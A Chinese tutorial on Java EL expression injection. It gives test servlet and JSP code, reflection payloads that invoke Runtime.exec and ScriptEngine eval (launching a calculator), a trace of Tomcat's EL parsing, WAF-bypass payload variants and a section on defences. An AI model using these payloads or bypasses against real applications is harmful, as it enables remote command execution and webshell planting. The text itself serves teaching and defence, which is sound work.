前言:
常见的表达式注入方式有EL
表达式注入、SpEL
表达式注入和OGNL
表达式注入等。下面首先对EL表达式注入进行讲解:
EL表达式介绍:
EL(Expression Language)是为了使JSP写起来更加简单. 表达式语言的灵感来自于ECMAScript和XPath表达式语言, 它提供了在JSP中简化表达式的方法, 让JSP的代码更加简化.
注意:EL不是一种开发语言,是jsp中获取数据的一种规范;
JSP写法:<%=session.getAttribute("name")%>
El表达式写法:${sessionScope.name}
EL表达式主要功能如下:
- 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式, 以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象, 访问JavaBean的属性、访问List集合、访问Map集合、访问数组).
- 执行运算: 利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP页面中完成一些简单的逻辑运算, 例如${user==null}.
- 获取Web开发常用对象:EL表达式定义了一些隐式对象, 利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用, 从而获得这些对象中的数据.
- 调用Java方法:EL表达式允许用户开发自定义EL函数, 以在JSP页面中通过EL表达式调用Java类的方法.
其中最需要关心的是其隐含对象:
JSP本质是 Servlet,但比 Servlet 多了一个作用域:页面域,在 JSP 中有四大作用域, 页面上下文对象为pageContext,是 JSP 其中一个内置对象名,其中我们是要使用setAttribute(String key, Object value),向页面域中添加键和值,利用方式就是通过pageContext.setAttribute其中添加可以执行命令的语句,当解析el语句的时候就可以触发我们的代码并执行。
测试:
我们如果测试什么情况下会存在EL表达式注入,由于el表达式有计算等功能,我们可以利用这些功能判断是否存在EL表达式注入,首先我们添加一个el可以调用class的测试代码:
添加controller接口ElTestServlet类并添加方法hello:
public class ElTestServlet extends HttpServlet {
@RequestMapping(value = "/index.do",method = RequestMethod.GET)
public ModelAndView hello(@RequestParam("username") String username){
ModelAndView mv = new ModelAndView();
mv.addObject("username", username);
mv.setViewName("index");
return mv;
}
}
添加类ElTestService并添加方法doSomething:
public class ElTestService {
public static String doSomething(String str) {
return str;
}
}
添加test.tld文件:
<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<tlib-version>1.0</tlib-version>
<short-name>ElTestService</short-name>
<uri>/WEB-INF/test.tld</uri>
<function>
<name>doSomething</name>
<function-class>org.example.service.ElTestService</function-class>
<function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
</function>
</taglib>
并在web.xml中添加对tld的调用:
<jsp-config>
<taglib>
<taglib-uri>/WEB-INF/test.tld
</taglib-uri>
<taglib-location>
/WEB-INF/test.tld
</taglib-location>
</taglib>
</jsp-config>
最后是测试的index.jsp:
<%@ taglib uri="/WEB-INF/test.tld" prefix="elfun" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<pre>
param.username is : ${param.username}
user is: ${username}
pageContext.setAttribute("a",param.username) is : ${pageContext.setAttribute("a",param.username)} ${a}
elfun:doSomething(username) is : ${elfun:doSomething(username)}
<\%=rows%> is: <% String rows = "${2+1}";%><%=rows%>
out.println is: <% out.println("${2+1}");%>
pageContext.setAttribute("a", 2-1) is : ${pageContext.setAttribute("a", 2-1)} ${a}
elfun:doSomething(2-1) is : ${elfun:doSomething(2-1)}
</pre>
</body>
</html>
执行后可以看到如下显示:
可以看到通过参数传入的值均会被当作字符串进行解析,并不会被当作el进行解析,只有最后两种直接赋值的方式可以被当作el进行解析,调试下可以看到,当我们使用
${elfun:doSomething(2-1)}
方式的时候在进入调用函数前已经完成了对内容的解析,而不是由函数处理完成后对其进行解析。
所以如果想要通过${}实现el注入则参数不能被当作字符串解析,所以除非开发故意,否则我们没有办法在页面植入我们的代码并执行,所以想要利用el注入可以做web后门或者当后端会对获取到的数据进行二次el解析或者当我们需要进行绕过比如JNDI注入高版本绕过等才能利用该漏洞。但是本着研究我们还是手工添加代码进行测试。当我们使用下列语句可以打印出系统信息:
获取目录,然后就可以写入webshell等:
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
执行命令,访问页面,解析下面el语句并通过反射调用runtime的exec方法执行命令:
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
当然也可以使用${applicationScope},访问application作用域内部,可以获取到应用的各种属性,且可获取webRoot
代码分析:
当我们访问页面打开计算器到底执行了哪些,这里我们简单进行分析:
当我们执行下列语句即可弹出计算器:
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
其主要为后面的反射代码,其反射主要执行代码为:
Runtime.getRuntime().exec("calc");
下面看看该el语句是如何被解析,首先查看执行堆栈,可以看到主要进入的是以下几个方法实现了对EL语句的解析到最后反射执行:
首先是建构ValueExpressionImpl对象并返回,参数为表达式,node , 函数mapper , 变量 Mapper ,期望类型初始化即可,其中主要为表达式和期望类型:
然后为调用proprietaryEvaluate方法创建el上下文,其中重要的参数为前三个,分别为el表达式,期望类型和页面上下文,后面的为空和false。
然后调用getValue()方法获取Value值:
对EL语法树的解析是根据节点进行解析,其中根节点是AstValue,3个子节点分别为AstIdentifier , DotSuffix , DotSuffix,此处会循环对el语法树进行解析
然后调用BeanELResolver的invoke方法找到方法函数并反射执行,就完成了对EL的解析和执行,这里注意pageContext对象仅能用BeanELResolver来处理:
上述便完成了对el解析的关键函数的分析,其最主要的就是对el语法树的解析,这里跟踪的是tomcat容器下的el代码对el解析的类还有很多,不同容器对el语法树的解析也会存在差异,这就导致很多我们编写好的exp并不能在各个平台通用,所以在编写poc的时候要了解对方使用的是什么容器Tomcat,Jboss,Resin还是glassfish对应的哪个,然后再分析对应的el解析才能更好的编写攻击代码。
差异比较:
EL一开始是作为JSTL的一部分使用,但是EL进入了JSP 2.0标准. 现在EL API已被分离到包javax.el中, 并且已删除了对核心JSP类的所有依赖关系, 也就是说, 现在现在:the EL is ready for use in non-JSP applications!
JUEL 是 Unified Expression Language (EL) 的一个实现,表达式已经作为JSP2.1 标准的一部分被引入到 JEE5,而且 JUEL 2.2 也 实现了JSP 2.2 规格说明要遵从的 JEE6 的全部规范.
pom.xml添加:
<dependencies>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-api</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-spi</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-impl</artifactId>
<version>2.2.7</version>
</dependency>
</dependencies>
编写测试代码:
public class Main {
public static void main(String[] args) throws Exception {
test2();
}
public static void test2() throws Exception{
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
String exp1 = "${\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")}";
String exp2 = "${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\")}\n";
String exp3 = "${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('calc')\")}";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp1, String.class);
valueExpression.getValue(simpleContext);
ScriptEngineManager obj = (ScriptEngineManager) "".getClass().forName("javax.script.ScriptEngineManager").newInstance();
obj.getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc.exe')");
}
}
我首先测试使用javax.script.ScriptEngineManager类来执行java代码进而完成命令执行,但是执行后可以看到报错:
这就很奇怪了,为什么会是io.reader类型,但是分析了下发现个奇怪的问题,当我单步调试的时候成功弹出了计算器,但是当我直接执行,却调用的是下面的参数为reader类型的eval方法,这就导致了系统报错参数类型不符:
反射函数本质执行的是如下代码:
ScriptEngineManager obj = (ScriptEngineManager) "".getClass().forName("javax.script.ScriptEngineManager").newInstance();
obj.getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc.exe')");
那我测试了下完全进行反射,
Object obj1 = "".getClass().forName("javax.script.ScriptEngineManager").getMethod("getEngineByName","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").newInstance(),"JavaScript");
Class myclass2 = "".getClass().forName("javax.script.ScriptEngine");
Method method2 = myclass2.getMethod("eval","".getClass());
method2.invoke(obj1,"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()");
拼接完成为如下两种形式:
"${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('calc')\")}";
${pageContext.setAttribute("a","".getClass().forName("javax.script.ScriptEngine").getMethod("eval","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").getMethod("getEngineByName","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").newInstance(),"JavaScript"),"java.lang.Runtime.getRuntime().exec('calc')"))}
执行可以成功弹出计算器,在tomcat下也可以弹出,但是换了个低版本tomcat又出错,搞得有点头疼,也懒得分析了,兼容性最好的就是直接反射java.lang.Runtime然后调用exec执行系统命令,如果想要javax.script.ScriptEngineManager反射执行java代码那就看运气了是好是坏。
绕过:
当存在防火墙的时候,如何进行绕过:
首先是如果是针对getClass的过滤可以使用如下进行绕过:
"${\"\".class.getSuperclass().class.forName(\"java.lang.Runtime\").getDeclaredMethods()[15].invoke(\"\".class.getSuperclass().class.forName(\"java.lang.Runtime\").getDeclaredMethods()[7].invoke(null),\"calc.exe\")}";
或者采用字符串拼接:
"${\"\".getClass().forName(\"java.la\"+\"ng.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\")}\n";
或者对命令采用数组形式:
"${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.lang.Runtime.getRuntime().exec(s);')\")}";
也可以在eval中调用java.net.URLDecoder的decode方法吧经过编码的执行代码进行执行:
.eval((java.net.URLDecoder).decode(\"
具体怎么用则视现场情况选用一个或多种方法组合利用。
防御:
如何防御el注入,第一种就是可以直接关闭执行el,可以在web.xml中加入配置:
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
加入后,访问页面可以看到,所有的el表达式都被当作字符串解析:
而且一旦设置了true,JSTL标签的也无法执行,所以如果不用el表达式,可以直接关闭,但是如果有需要可以自定义关闭:
<%@ page isELIgnored="true" %>
在需要关闭el功能的jsp页面加上上面的语句,也可以关闭当前页面的el解析,但是不影响其他交界面
最后就是对输入的关键字解析,主要就是检测el语句中是否调用了反射需要的函数,一般正常代码不会通过反射来调用功能,正常会通过JSTL的方式去访问java类,所以如果存在反射可以被判断为攻击代码,当然如果真的有代码非要反射调用,那只能去检测是否存在调用 java.lang.Runtime和javax.script.ScriptEngine类和对eval的调用即可判断为恶意攻击。
总结:
EL表达式注入分析下来发现由于不同的版本或者不同的方法会对el语法解析的时候存在差异性,比如这里介绍的是jsp el,还有jboss el等所以同一个代码在不同的平台执行会有差异性,在碰到需要利用EL注入的情况下要根据具体的场景选用相对应的攻击代码,另外根据waf情况对代码进行修改。